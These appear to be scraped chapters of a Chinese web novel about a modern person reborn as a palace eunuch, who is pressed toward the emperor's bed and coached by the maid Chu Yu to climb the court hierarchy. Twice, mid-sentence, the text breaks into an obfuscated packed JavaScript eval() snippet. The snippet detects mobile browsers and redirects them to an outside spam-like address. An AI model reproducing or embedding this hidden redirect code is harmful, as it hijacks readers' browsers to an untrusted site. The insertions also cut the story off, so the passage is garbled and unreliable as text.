“爹的……爹的!”关禧猛地一拳砸在水面上,激起更大的水花。他抬起头,对着氤氲的水汽和昏黄的穹顶,也不管外间的楚玉能否听见,积压了数月的怨愤,不甘,如同决堤的洪水,倾泻而出。 “去他爹的皇帝!去他爹的侍寝!!”他声音嘶哑,因为激动而破音,“萧衍!你个死变态!老玻璃!喜欢男人你去找个心甘情愿的啊!逼老子一个女……不对,老子现在他妈连是男是女都说不清!逼我穿成这样,学这些狗屁玩意儿去伺候你?!你他爹有没有点人性?!有没有点审美?!后宫三千佳丽不够,非要玩太监?!玩你大爷!!” 他越骂越激动,口不择言,把现代网络那些污言秽语和深宫积攒的绝望混在一起,颠三倒四: “还他爹要学规矩!学怎么顺服!学怎么让你尽兴?!我呸!你他爹就是个心理扭曲的掌控狂!看着别人在你面前战战兢兢、任你摆布很有成就感是不是?!等老子上了你的龙床,信不信老子一脚踹爆你……踹爆你丫的!” 骂到这里,他自己都愣了,随即更加崩溃地笑起来,笑着笑着眼泪就出来了:“哈……哈哈哈……踹爆个屁!老子现在拿什么踹?啊?楚玉!你听见了吗?!你教得好啊!教我怎么用这具不男不女的身体,去讨好那个变态!你是不是也觉得特有意思?看着我这个不一样的怪物,怎么被你们驯化成一条会摇尾巴、还会伺候人的阉狗?!” 他转向外间的方向,仿佛能穿透帘子看到楚玉冰冷的脸。 “楚玉!楚玉你听着!老子不干了!老子不学了!有本事你现在就进来掐死我!或者去告诉冯昭仪,告诉皇帝,说小离子疯了,不听话了,弄死我算了!省得你们费心巴力地调理,省得脏了你们的贵手!” “侍寝?侍他祖宗十八代!萧衍,你最好祈祷别让我找到机会,不然……不然老子就在你最高兴的时候,吐你一身!咬死你!让你这辈子都对太监有阴影!让你玩!让你玩!!” 他语无伦次,什么狠话都往外冒,像个撒泼打滚的无赖,试图用最粗俗,最不堪的语言,撕破这金丝牢笼,哪怕只是溅对方一身泥点。 外间一片死寂。 关禧骂得嗓子冒烟,胸口剧烈起伏,浑身脱力地滑坐到池底,温水没过肩膀。刚才那股邪火发泄出去,留下的是更深的空虚。他知道自己刚才那些话,任何一句传出去,都是诛九族的大罪。楚玉就在外面,她肯定听到了。 也好。 他破罐子破摔地想。就这样吧。彻底撕破脸,要么死,要么……或许还有一丝微乎其微的可能,因为疯癫而被彻底废弃,当成一个无用的瑕疵品丢弃? 总比……总比被训练好了送上龙床强。 他靠在池壁上,闭上眼,等待审判。 过了不知多久,也许只是几个呼吸,也许有半盏茶的时间。 外间传来极轻的脚步声。 内间的帘子被一只素白的手轻轻挑开。 楚玉站在门口,逆着外间更暗的光线,面容有些模糊,她手里,多了一条干燥柔软的布巾。 她走了进来,脚步无声,停在池边。 关禧没有睁眼,身体却不由自主地紧绷起来。 楚玉蹲下身,将布巾轻轻放在池边触手可及的地方。然后,她伸出手,却不是打他,也不是拽他。 微凉的指尖,极其轻缓地,拂开黏在他额前湿透的一缕黑发。 关禧猛地睁开眼,撞进她近在咫尺的眸子里。那里面没有预料中的鄙夷或冰冷,是一片深不见底的晦暗,仿佛刚才那些大逆不道的咒骂,只是投入深潭的石子,激起了些许涟漪,旋即又被无尽的黑暗吞噬。 “骂够了?”楚玉开口,声音很轻,比平时沙哑一些,“骂够了,就起来。水要凉了。” 关禧愣住,难以置信地看着她。 楚玉却已移开目光,站起身,背对着他,“把身上擦干,换上衣服。今晚的教导,到此为止。” “至于你那些话……我什么都没听见。但若再有下次,惊动了旁人,我也保不住你。” “想活着看到明天的太阳,就管好你的嘴。至少……在学会管好你的身子之前。” 说完,她不再停留,转身离去,衣袂带起细微的风,吹散了池边些许水汽。 留下关禧独自泡在渐渐变凉的水中,望着她消失的方向,满脸的水珠蜿蜒而下,分不清是浴汤,还是别的什么。 他缓缓伸手,抓起池边那块柔软的布巾,攥在手心。 最终,他还是依言起身,擦干了身体,换上了那套月白绸衣。丝滑冰凉的料子贴在皮肤上,像第二层皮肤,也像无形的枷锁。 他推开浴堂的门,秋夜的凉风扑面而来,让他打了个寒颤。 廊下空空,楚玉已不见踪影。 只有头顶那盏孤灯,在夜风中明明灭灭,将他穿着暧昧绸衣的孤单影子,拉得很长,很长。 40.第 40 章 夜深了。 桌上,一盏油灯如豆,映着早已凉透的汤药,黑黢黢的一碗,散发着清苦气息。那是楚玉临走前吩咐人送来的培元固本汤,说是按张太医的吩咐,需每日睡前服用。 关禧看着那碗药,看了很久。最终,他还是伸手端了起来。碗壁冰凉,药汁早已失去了温度。他仰头,一口气灌了下去,苦涩的味道弥漫整个口腔,顺着喉咙一路烧到胃里,带来一阵生理性的反胃,他强忍着,喉结滚动,咽下了最后一点汤。 空碗放回桌上,发出轻响。 他借着那点将尽的油灯光晕,摸索着走到床边。月白绸衣在昏暗光线下泛着幽微的光泽,像一层摆脱不掉的皮。他胡乱地扯开衣带,将那身碍眼的绸衣剥下来,团成一团,塞到床底最深处,换上平常洗得发白的棉布寝衣。 吹熄油灯。 黑暗吞噬了整个房间,只有窗纸外透进一点极淡不知是月光还是远处宫灯的反光。他摸索着走向门口,准备落下门闩,这是他在这个危机四伏的地方,唯一能为自己争取的一点可怜的安全感。 手指刚刚触及那粗糙的木闩。 “叩、叩叩。” 极轻的叩门声,在万籁俱寂的深夜里响起。 关禧的动作僵住,这个时辰……谁会来?陈立德?不可能。送药的小太监?更不会。 一个名字,浮上心头。楚玉。 只有她。只可能是她。 她来干什么?兴师问罪?还是……继续那未完成的教导?或者,是听到了他那些大逆不道的咒骂,终于要来彻底了结他? 他不想开门。一点也不想。他只想缩回床上,用被子蒙住头,假装什么都没听见,假装这敲门声只是他过度惊惧下的幻听。 “叩叩。” 敲门声又响了两下,比刚才稍微重了一点。然后,是楚玉压低的声音,隔着门板传来,在寂静中清晰得可怕: “小离子,开门。” 真的是她。 关禧的手指死死抠着门板边缘,指节泛白。他咬紧牙关,喉咙里干涩得发不出声音。不开。死也不开。 门外静了一瞬,能感觉到他无声的抗拒。 然后,楚玉的声音再次响起: “我知道你没睡。开门,我有话跟你说。” 有话?什么话?在浴堂还没说够吗?还是嫌他骂得不够难听,要亲自来掌他的嘴? 关禧心底涌起一股怒意,他转身,想冲回床上,用被子把自己彻底埋起来。 可脚步刚迈开,门外又传来一句: “关于你骂的那些话。还有回去的事。” 回去?! 这两个字像一道惊雷,劈开了关禧脑中混沌的恐惧和愤怒。她说什么?回去?她不是斩钉截铁地说不可能吗?不是说这是禁忌吗?为什么现在又提? 难道……她真的有别的消息?或者,她只是在诈他,想骗他开门? 理智在尖叫着危险,警告他这很可能是个陷阱。可“回去”这两个字,对他这个异世孤魂来说,诱惑力太大了,大过一切恐惧,大过对未知惩罚的忌惮。 他站在原地,胸膛剧烈起伏,黑暗中只能听到自己擂鼓般的心跳。 时间仿佛凝固,每一秒都被拉长。 最终,对回去那一丝渺茫希望的渴求,压倒了所有顾虑。 他转回身,动作因为急切和紧张而有些踉跄,颤抖着手,摸索着找到了门闩。 “咔哒”一声轻响,在寂静中格外清晰。 门被拉开一道缝隙。 秋夜带着寒意的风立刻灌了进来,吹得关禧单薄的寝衣紧贴在身上。门外廊下未点灯,只远处宫墙角悬着的气死风灯,投来一片朦胧昏光。楚玉就站在那片光影交界处,仍穿着白日那身淡青色宫装,身形纤细而笔直,宛如一支淬过冷月的瓷簪。 她显然是精心妆饰过的。发髻梳得工整严密,不见一丝乱绪,鬓边斜簪一枚素银簪子,幽光澹澹。脸上薄敷脂粉,肤色在昏朦中似冷玉生晕,眉细而淡,如远山含黛,眼底却沉着两泓深不见底的寒潭。唇上点了些胭脂,是整张脸上唯一一抹暖色,也被她周身清寂的气质浸得透出几分冷淡。 此刻她静静望着他,脸上并无表情,唯有那双眸子,在暗里如静水吞光,深得令人心凛。 关禧堵在门口,没有让开,“你说回去?什么意思?” 楚玉没有回答,目光越过他,扫了一眼他身后漆黑一片的屋内,向前迈了一步。 这一步,带着不容拒绝的意味。 关禧下意识地想挡,身体却比意志更先一步,向旁边让开了。楚玉侧身从他让开的缝隙中走了进来,反手,将门轻轻关上,落闩。 “咔哒。” 又是一声轻响,这次是从里面锁上的。这间小屋,彻底与外界隔绝,只剩下他们两人,和满室浓郁得化不开的黑暗。 关禧僵在原地,背靠着冰凉的门板,看着楚玉模糊的轮廓在黑暗中移动。她没有点灯,对这里的简陋和陈设了如指掌,径直走到了桌边,手指拂过那只空了的药碗,停顿了一下。 “药喝了?”她问,声音平淡。 关禧抿紧唇,不想回答这种无关紧要的问题,执拗地重复:“你刚才说回去,到底什么意思?” 楚玉转过身,面向他。 “我什么也没说。”她缓缓道,“我只是说,关于你骂的那些话,和你心里想的事。” 关禧的心瞬间沉了下去,一股被戏耍的怒火夹杂着失望冲上头顶,“你骗我?!” “骗你?”楚玉极轻地笑了一下,那笑声短促而冷,“我若真想对你做什么,需要骗你开门吗?” 这话倒是事实。以她的身份和手段,真想处置他,确实不必如此迁回。 关禧绷紧的身体微微松驰了一点,但警惕并未消除。他不再说话,站在那里,用沉默表达着抗拒。 楚玉也不再开口。黑暗成了最好的掩护,也放大了所有的感官。两人隔着几步远的距离,无声地对峙。空气中弥漫着药味的余苦,还有彼此身上极其微弱的味道。 不知过了多久,关禧觉得自己的腿都有些僵了。他实在无法理解楚玉深夜造访又沉默以对的目的。疲惫和虚脱感再次涌上来,他不想再这样站下去。 他转过身,不再理会楚玉,径直朝着床铺走去。一脚蹬掉鞋子,直接躺了上去,扯过那床不算厚实的被子,胡乱盖在身上,然后翻了个身,面朝墙壁,用后背对着屋内的不速之客。 意思再明白不过:你要说什么就说,不说就滚。我要睡了。 他闭上眼睛,努力调整呼吸,试图忽略身后那道存在感极强的目光。可感官却不听使唤,他能清晰地听到楚玉极轻的呼吸声,能感觉到她站在原地,视线正落在他蜷缩的背影上。 时间一点一滴流逝。 就在关禧以为楚玉会一直这样站到天亮,或者终于无趣离开时。 他听到了衣料摩擦声。 那声音很轻,但在死寂的黑暗中,却清晰得让他心头一跳。不是离开的脚步声,而是……解带,褪衣? 关禧睁大了眼睛,身体僵硬。 窸窸窣窣的声响持续着,不紧不慢。外袍?中衣?他不敢回头,只能凭借声音想象。黑暗中,视觉被剥夺,其他感官却变得异常敏锐。他能闻到空气中那股清冽的气息在靠近,越来越清晰。 然后,他感觉到床铺另一边微微下陷。 一股带着秋夜微凉,又潜藏着某种温度的躯体,毫无预兆地,贴着他的后背,滑入了被褥之中。 关禧的呼吸骤然停止,全身的血液似乎都冲向了头顶,背后传来的触感如此真实,柔软,带着女性特有的曲线,隔着一层薄薄寝衣,与他紧紧相贴。 楚玉竟然爬上了他的床?她想干什么?! 所有可能的猜测在脑中疯狂冲撞,浴堂的教导,冯昭仪的暗示,皇帝的垂问,那张培元固本的方子,还有此刻,这具紧贴着他属于女性的身体。 是另一种形式的教导吗?用她自己来实地演练?让他提前熟悉?还是冯昭仪某种更扭曲的授意或试探? 恶心,恐惧,屈辱,还有一丝连他自己都唾弃的,源于这具年轻男性身体本能的躁动,混杂在一起,快要将他撕裂。 他死死咬住下唇,快要咬出血来,用尽全身力气,才从喉咙里挤出几个字来: “……滚下去。” 楚玉没有动。 她甚至没有因为这句大逆不道的驱逐而有丝毫气息紊乱。 半晌,她贴着关禧耳后的皮肤,呵出一缕微凉的气息,属于她自己的冷香。 “滚下去?进宫这么久,伺候人的本事没学成,脾气倒是见长。怎么,是张太医的培元汤太补,补得你火气上涌,连规矩体统都忘了?” 关禧的后颈起了一层细栗。他向床内侧缩去,试图拉开距离,可床铺狭小,又能躲到哪里?头撞上墙壁,退无可退。 “别碰我!楚玉,你到底想干什么?!如果你是来继续那套恶心的教导,我告诉你,我宁可现在撞死在这墙上!如果是冯昭仪让你来……来验货,你告诉她,这货烂了!碎了!不配送到御前!让她趁早死心!” 黑暗放大了他声音里的憎恶,也掩住了他通红的脸颊。 楚玉轻轻笑了一声。那笑声很短,很淡。 “撞死?你有那个胆量,早在停尸房就了结了自己,何必熬到现在?小离子,李景和,或者……不管你究竟是谁。你以为绝食、咒骂、寻死觅活,就能改变什么?在这宫里,蝼蚁连选择怎么死的资格都没有。” “既然决定吞下那碗药,既然选择从床上爬起来,把饭一口口吃下去,把身子养起来……”她的声音压得更低,几乎成了耳语,“不就是想活吗?既然想活,为什么只想着在泥里打滚,没想过……往上爬?” 往上爬? 关禧混沌的脑子被这三个字钉住了一瞬。 他来这里,活着,只是为了不被当作物件献出去,何曾想过爬?一个太监,一个灵魂错置的怪物,能爬到哪里去? “爬?呵,”他嗤笑,“往哪里爬?爬到陛下床上,当个更得宠的玩物?还是爬到你们眼皮子底下,当个更趁手的棋子?楚玉,你别逗我了。” “玩物?棋子?”楚玉重复着,她的话像冰冷的针,精准地挑开关禧试图遮掩的怯懦,“那你现在是什么?连玩物都不如的残次品,连棋子都算不上的弃子?至少,爬到高处的玩物,金丝笼是纯金的,锦衣玉食,偶尔还能见到外面的天。爬到关键的棋子,至少能让人掂量掂量,不敢随意打杀。” 她的身体动了,更贴近了一些。 隔着单薄衣,关禧能清晰地感觉到她曲线起伏的轮廓,以及那份不容错辨,属于女性的柔软。 “还是说……”楚玉的气息拂过他耳廓,“你根本不敢?你怕这身子,怕这身份,怕到了御前,露出马脚?怕被皇帝发现,这精致皮囊底下,装的不是怯懦顺从的李景和,而是个满嘴胡言乱语、心思诡异、连自己是什么都搞不清楚的……东西?” 说着,她的指尖,顺着关禧僵硬的脊骨,极缓地向上滑动,停在某个脊椎骨节上,“告诉我,你这壳子里,到底住着谁?从哪里学来的那些他爹的、老玻璃,嗯?李景和一个河间府的农家子,怕是连玻璃是什么都没见过。” 关禧的呼吸彻底停滞了。她果然知道了,不,她猜到了,她早就怀疑了,那些她听不懂的词,那些不属于这个时代的反应,那些对自身处境的激烈抗拒,全都成了破绽。 “……我不知道你在说什么!”他挣扎着否认,声音却虚飘得没有半点说服力,“我病了……烧糊涂了……胡说的……” “胡说的?”楚玉的指尖用力,按在他那块脊椎上,“那何当共剪西窗烛也是胡说的?独钓寒江雪也是胡说的?一个胡说的农家子,能有这般苍茫孤绝的心境?” 她忽然撑起手臂,上半身悬在了关禧上方。 “你不是李景和。”她一字一顿,声音冷冽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000099|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如刀,斩断他所有侥幸,“你甚至可能不是男人。” 最后几个字,她说得很轻。 “你对女人有反应,不是男人对女人的那种。”楚玉继续,语气平静得像在分析账目,“浴堂里,你看着我,看着娘娘,眼里有东西,但不是欲望。你羡慕我们之间的情分?寻常小太监,会羡慕这个?你抗拒皇帝的触碰,抗拒到不惜自伤,那份恶心,不只是对屈辱的抗拒,更像是……对和男人亲近这件事本身的厌恶。” 她俯得更低,两人的鼻尖几乎要碰到一起,气息交融。 “告诉我,你以前是不是个女人?” 她猜到了,她全都猜到了。 “不……不是……你胡说……”关禧徒劳地否认,眼泪不受控制地涌出,滑过太阳穴,没入鬓发。 楚玉没有因他的眼泪而动摇,伸出另一只手,指尖抚上他湿漉的脸颊,抹去一滴泪珠,“是不是胡说,你心里清楚。一个女人的灵魂,困在一个太监的身体里,难怪你会疯。难怪你想回去。” 回去。 再次听到这个词,关禧的挣扎微弱下去,被她看穿了,彻底看穿了。在这个可怕的女人面前,他像被剥光了所有伪装,赤裸裸地展示着所有的扭曲和不堪。 “是,”他终于承认,声音低不可闻,“我不属于这里,我想回去,可我回不去了,你也说回不去了……” 他像个走投无路的孩子,在绝对的黑暗和彻底的暴露面前,放弃了最后的抵抗,只剩下本能的呜咽和颤抖。 楚玉沉默了。 漫长的寂静笼罩了狭小的床铺。只有关禧压抑的抽泣声,和彼此交错的呼吸。 良久,楚玉悬在上方的身体慢慢落回,重新与他并排躺下,但距离比刚才稍远了一些。 “我是说过,宫里没有回去的先例。但宫里也没有你这样的先例。” 关禧止住哭泣,茫然地侧过头,在黑暗中试图寻找她的眼睛。 “既然回不去,既然死不了,”楚玉的声音在咫尺之遥响起,“你就得用这具身子,在这个地方,活下去。不是作为李景和,也不是作为你原来那个人,而是作为现在的你——一个知道太多、会得太多、心思诡异的太监,小离子。” “往上爬,不是你愿不愿意的问题。是你必须走的路。只有爬得足够高,高到能自己决定一些事情,高到能让别人有所忌惮,你才能保住你这点秘密,才能稍微活得像个人,而不是随时可能被碾碎的虫蚁。” “陛下那里,是险路,也是捷径。娘娘把你推上去,有她的算计。但你若只会哭哭啼啼,寻死觅活,那就真成了一枚用完即弃的棋子。你若能顺势而为,哪怕只是让陛下觉得新鲜,多留你几日,你就能多喘几口气,多几分周旋的余地。” 她的手,再次轻轻落在关禧的手臂上,这次没有狎昵的意味。 “至于你这点秘密,从现在起,它就是你我之间,最大的把柄,也是唯一的纽带。我会替你瞒着,不是好心,是因为你活着,对我,对娘娘,暂时还有用。但若你自己守不住,露了馅……” 她没有说完,但未尽之意比任何威胁都更有效。 关禧躺在那里,脑子里乱成一团。 爬上去?用这具身体,在这个世界?去争宠?去谋生? 荒谬,恶心,不可思议。 可是除了这样,他还有别的选择吗?像楚玉说的,像虫蚁一样被碾死?或者,永远活在随时可能暴露的恐惧里? “我……我不会……”他喃喃道,声音干涩,“我不会伺候男人……我做不到……” “没人天生就会。我会教你。不是浴堂里那套虚的。是怎么察言观色,怎么避重就轻,怎么在绝境里找到一丝喘息的空隙……” 楚玉顿了顿,问了一个看似不相干的问题: “你原来那个地方,女人也能读书识字,抛头露面,甚至为官做宰,是不是?” 关禧愣住了,下意识地点头,随即意识到黑暗中她看不见,含糊地“嗯”了一声。 楚玉轻轻吸了一口气,很轻微,但关禧感觉到了。 “真好。”她说,声音飘忽得像一声叹息,很快又稳住了,“所以,别摆出一副天塌下来的样子。你脑子里装的东西,或许在这里,是催命符,但用好了,未必不能成为保命符、登天梯。” “皇帝,”她斟酌着词句,“要的未必是颠鸾倒凤。他更享受掌控,享受将特别之物收归己有的感觉。你的特别,如果只是这张脸,那太单薄。如果你能让他觉得,你脑子里还有些别的、有趣的东西,或许,你能活得稍微不一样点。” 这已经是楚玉能给出的,最直白也最隐晦的提示了。 关禧的心跳,在绝望的谷底,加速跳动了几下。不一样地活?用他知道的那些不属于这个时代的东西? 可能吗? 他不知道。 但楚玉的话,像在黑暗的深渊里,丢下了一根不知道是否坚固的绳索。他可以不抓住,继续沉沦。或者,抓住它,哪怕双手磨得鲜血淋漓,也要试着向上爬一寸,算一寸。 长久的沉默再次蔓延。 这一次,关禧没有再让楚玉滚。楚玉也没有离开。 两人就这般并排躺在狭窄的单人床铺上,听着窗外远处隐约的更梆声,各怀心思,在无边的黑暗里,共享着这个沉重的秘密。 直到窗外透进一丝青灰色的曙光。 楚玉悄无声息地起身,穿戴整齐,整理好衣襟,走到门边。 “药按时喝。该学的,我会再来教你。”她背对着关禧,声音恢复了惯常的冷淡,“记住我的话。想活,就别再犯蠢。” 门闩轻响,门被拉开一道缝,她侧身闪出,很快消失不见。 关禧躺在渐渐亮起来的屋子里,望着头顶斑驳的房梁,脸上泪痕已干,眼神空茫了很久。 往上爬吗? 他闭上眼,舌尖尝到培元汤残留的苦涩,混合着一丝铁锈般的腥气。 那就……爬吧。 41.第 41 章 接下来的日子,承华宫西厢那间小屋的灯火,熄得比往常更晚。 关禧不再抗拒楚玉带来的任何东西,汤药,饭食,书籍,乃至那些关于伺候的教导。他沉默地接受,吸收着一切能让他在这深宫活下去的知识。 只是那沉默里,有什么东西不一样了。 从前是麻木的顺从,如今是清醒的蛰伏。他的眼睛在听楚玉讲解宫廷规矩,各宫关系时,会专注地追随她的每一句话,偶尔在听到关键处,睫毛会极轻微地颤动一下。 楚玉自然也察觉了这种变化。她依旧面无表情,教导时语气平板无波,但讲解的内容却悄然调整。不再只局限于如何取悦皇帝的技巧,开始夹杂更多看似无关的信息:朝中几位阁老的姓氏与立场,六部尚书的更迭轶闻,京城几大世家的姻亲脉络……甚至偶尔,她会无意间落下几本不属于太监该看的书,本朝《会典》的残卷,历年科举的《登科录》,乃至一些文人私刻的朝野见闻录。 关禧来者不拒。 他白天在书斋处理那些琐碎的宫务记录时,目光不再仅仅停留在数字和物品名目上。他会刻意记下各宫支取用度的频率,数额,对比不同季节,不同节庆时的变化,从中揣测各宫的势力消长与皇帝的态度倾向。他看到玉芙宫徐昭容有孕后的用度激增,看到皇后宫中赏赐出去的物件规格远超寻常,也看到太后所居的永寿宫,用度始终平稳却透着不动声色的厚重。 夜里,油灯下,他艰难地啃着那些晦涩的文言。这个架空王朝“晟”的历史,官制,地理,像一幅巨大的拼图,被他一点一点从破碎的文字中拼凑起来。 永昌元年。 当今皇帝登基改元的第一个年头。先帝在位日久,晚年多病,朝局曾被几位权臣把持。萧衍不是长子,其生母郑书意,即如今的太后,出身并不显赫,父亲只是边镇一名中级武将。 然而这位郑太后,却有着惊人的胆识与运气。 她十四岁入宫,十五岁生下萧衍,在先帝后宫并非最得宠,却因诞下皇子而稳住了地位。先帝晚年,诸子夺嫡,血雨腥风。萧衍彼时年幼,看似毫无胜算。是郑书意,凭借其父在军中的些许人脉,以及在后宫多年经营下的人情网络,暗中联络,合纵连横,竟在最后关头,将当时年仅十八岁的萧衍推上了太子之位。 不久先帝驾崩,萧衍登基,郑书意顺理成章成为太后,时年不过三十三岁,是晟朝开国以来最年轻的太后。 如今皇帝萧衍二十三岁,登基五年,改元永昌,意欲开创一番新气象。而太后郑书意,也才三十八岁,正是一个女人阅历,手腕与野心都臻于成熟的年纪。她居住的永寿宫,看似远离前朝纷争,实际却是后宫乃至朝堂无数暗流的源头。皇帝对这位一手将自己扶上帝位的母亲,感情复杂,既有依赖,也有提防。太后母族郑氏,如今已非当年的边镇小将,其父兄子侄多在军中担任要职,形成一股不容小觑的外戚势力。 而后宫之中,暗流随永昌元年的到来,更加汹涌。 皇后柳氏,出身百年清流文臣世家,其父是当朝首辅柳文正。柳后端庄贤淑,但入宫多年无所出,中宫之位看似稳固,实则无子便是最大的隐忧。她需要维持皇后的体统与贤名,亦需时刻提防任何可能威胁她地位的妃嫔与子嗣。 徐昭容徐宛白,正是如今后宫最灼眼的存在。其父是吏部左侍郎徐阶,兄长也在吏部任职,虽非顶级门阀,却是太后亲手提拔的新贵,在官员考核升迁上颇有实权。徐宛白骄纵貌美,如今又怀有龙嗣,风头一时无两。她与冯昭仪不睦已久,如今更是将承华宫视为眼中钉。 而冯昭仪冯媛…… 关禧放下手中记录着去年年节赏赐的玉牒副本,揉了揉酸涩的眼角。 冯媛出身江南冯氏,诗书传家,祖上出过几位翰林学士,父亲现任国子监祭酒,清贵却无实权。冯媛能在新人辈出的后宫稳居昭仪之位,并得协理宫务之权,凭借的绝不仅仅是温婉的性情和清丽的容貌。她的智慧与冷静,关禧已领教多次。冯家看似不涉党争,但在清流文人中声望颇高,是一股润物无声的力量。 冯媛将关禧握在手中,既是对皇帝某种心照不宣的迎合,也是在徐宛白有孕,皇后无子的局面下,为自己增添的一枚特殊筹码,一枚或许能吸引皇帝注意,分走玉芙宫恩宠,甚至探听某些消息的活棋。 至于楚玉…… 关禧看向窗外沉沉的夜色。楚玉,或者说楚玉背后可能代表的,冯媛更深层的布局与心思,依旧是一团迷雾。她教他这些,是在为冯媛培养一个更高级的棋子,还是……有她自己的打算? 关禧不知道。但他清楚,知道得越多,活下去的可能才越大。 * “今日讲《礼记·曲礼》。” 楚玉的声音在书斋一角响起,平淡无波。她面前摊开一卷书,关禧垂手立在案前。 “毋不敬,俨若思,安定辞。”楚玉念道,指尖划过书页,“此乃修身之基。在御前,更须时刻谨记。陛下不喜轻浮孟浪之辈。” 关禧默默记下。 这些日子,楚玉的教导内容愈发庞杂。从最基础的进退礼仪,言辞应对,到宫廷服饰,器物使用的禁忌,再到各宫主要人物的脾性喜好,彼此间的恩怨纠葛。她像在填鸭,将无数信息硬塞进关禧的脑子。 有时,她会突然提问。 “若陛下问起你读何书,当如何答?” 关禧垂眼:“奴才愚钝,只识得几个字,勉强能看账目文书,不敢妄言读书。” “若陛下让你以秋日为题,说句话呢?” 关禧心念电转,想起楚玉曾提过皇帝不喜过于雕琢的辞藻,偏好简洁有物:“奴才见识浅薄,只觉得御花园中金桂香气袭人,枫叶红似火,都是托陛下洪福,才有这般盛景。” 楚玉不置可否,继续问:“若陛下提起玉芙宫徐昭容有孕,后宫同庆,你有何感?” 关禧背脊微僵,旋即放松,声音平稳:“奴才为陛下、为徐昭容娘娘欣喜。皇家子嗣昌盛,是天下之福。” “哦?”楚玉抬眼,目光如锥,“那你觉得,冯昭仪娘娘听闻此消息,该如何做才算得体?” 这个问题更险。关禧沉吟片刻,谨慎答道:“娘娘协理六宫,自当谨遵皇后娘娘吩咐,尽心安排照料,彰显后宫和睦。私下……想必也为陛下高兴。”他绝口不提冯昭仪与徐昭容的不和,只强调宫规。 楚玉看了他一会儿,眼中掠过一丝难以捉摸的情绪,随即掩去,“尚可。记住,在陛下面前,多看,多听,少说。尤其涉及后宫诸事,绝不妄议。你的本分,是伺候好陛下,让陛下舒心。其余一切,与你无关。” “是。”关禧应下。 他知道,楚玉在训练他成为一个合格的御前侍奉,既要懂得察言观色,恰到好处地展现一点特别,又要牢牢记住自己卑贱的身份,绝不能有任何逾越或卷入是非的迹象。 这其中的分寸,如走钢丝。 除了这些实用教导,楚玉带来的书籍也越来越多。 关禧开始系统了解这个朝代。 晟朝定鼎已近百年,疆域辽阔,北有草原部族不时侵扰,东南沿海时有倭患,但大体承平。朝中党派林立,有以太后娘家为代表的勋贵武将集团,有以皇后柳家为首的老牌文官清流,有皇帝登基后太后提拔的徐阶等新进务实官员,还有如冯家这般看似中立实则影响士林舆论的清贵世家。 各方势力在永昌元年这个节点上,微妙地平衡着,也暗潮汹涌。 后宫是前朝的影子。 太后高踞永寿宫,看似含饴弄孙,实则通过早年布下的眼线与强大的外戚势力,影响着朝局与后宫。皇帝正值青年,锐意进取,渴望摆脱太后与老臣的掣肘,培养自己的班底。皇后无子,地位微妙,需倚仗娘家势力与太后维持平衡。徐昭容借孕争宠,野心勃勃。冯昭仪则如静水深流,在各方夹缝中寻找自己的位置与机会。 关禧,便是这盘错综复杂的棋局上,一枚刚刚被拿起,尚未决定落在何处的棋子。 这日午后,关禧正在书斋一角整理一批新送来的地方贡品清单,忽然听到外间传来一阵不同寻常的脚步声与环佩轻响,比平日冯昭仪出行更为煊赫。 他立刻放下手中纸笔,垂首肃立。 只见陈立德弓着腰,急匆匆进来,低声道:“快,收拾一下,永寿宫太后娘娘驾到!正往这边来了!” 太后?郑书意? 关禧心头猛地一跳。这位传奇的年轻太后,他只在楚玉的描述和零碎记录中拼凑过形象,从未得见。她为何突然来承华宫? 不及细想,外面通传声已起:“太后娘娘驾到——!” 冯媛早已闻讯,带着楚玉疾步出迎。关禧随着其他太监宫女,跪伏在书斋门内两侧,额头触地,屏息凝神。 一股馥郁的香气率先涌入,不是少女的甜香,也非佛堂的檀香,而是某种更为醇厚的珍稀香料气息。接着,是一双绣着繁复金凤衔珠纹样的明黄色凤履,缓缓踏入视线。履上珍珠圆润,金线灿然,每一步都透着无声的威仪。 关禧不敢抬头,只能用余光瞥见那迤逦的明黄裙裾,其上用捻金线绣着大朵大朵的牡丹,花心嵌着细小的宝石,在午后阳光下流转着奢华的光泽。 “都起来吧。”一个声音响起,不高,甚至算得上温和。 音色比关禧想象中更年轻些,透着沉稳。 “谢太后娘娘。”众人谢恩起身,依旧垂首。 关禧这才得以稍稍抬起视线。 只见一位身着明黄色织金凤纹常服的女人,正被冯媛恭敬地搀扶着,走向书斋主位。她身量中等偏上,体态保持得极好,并无寻常中年妇人的丰腴,反而有种柔韧的挺拔。乌发梳成端庄繁复的朝天髻,戴着一套赤金点翠凤穿牡丹头面,凤口衔下的明珠正垂在光洁的额前,熠熠生辉。 最令人印象深刻的是她的脸。三十八岁的年纪,保养得宜,肌肤紧致,眼角仅有几丝极淡的纹路,不仅无损容颜,反添威仪。柳眉杏眼,顾盼间自有洞悉世情的从容。鼻梁秀挺,唇形优美,唇角天然微微上翘,即使不笑也带着三分和气,然而那通身的气度,却让人绝不敢因这和气而有丝毫怠慢。 这便是十五岁生子,三十三岁已稳坐太后之位,亲手将儿子扶上帝位的郑书意。 她坐下,冯媛亲自奉茶。郑书意接过来,轻轻拨了拨茶沫,目光扫缓缓过书斋。 “冯昭仪这书斋,倒是越发雅致清静了。哀家记得你素来爱读书,协理宫务之余,还能有此闲情,难得。”郑书意开口,语气家常。 冯媛欠身,笑容温婉得体:“太后娘娘过誉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002494|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。臣妾不过是附庸风雅,借几本书打发辰光罢了。比不得娘娘学识渊博,胸怀天下。” 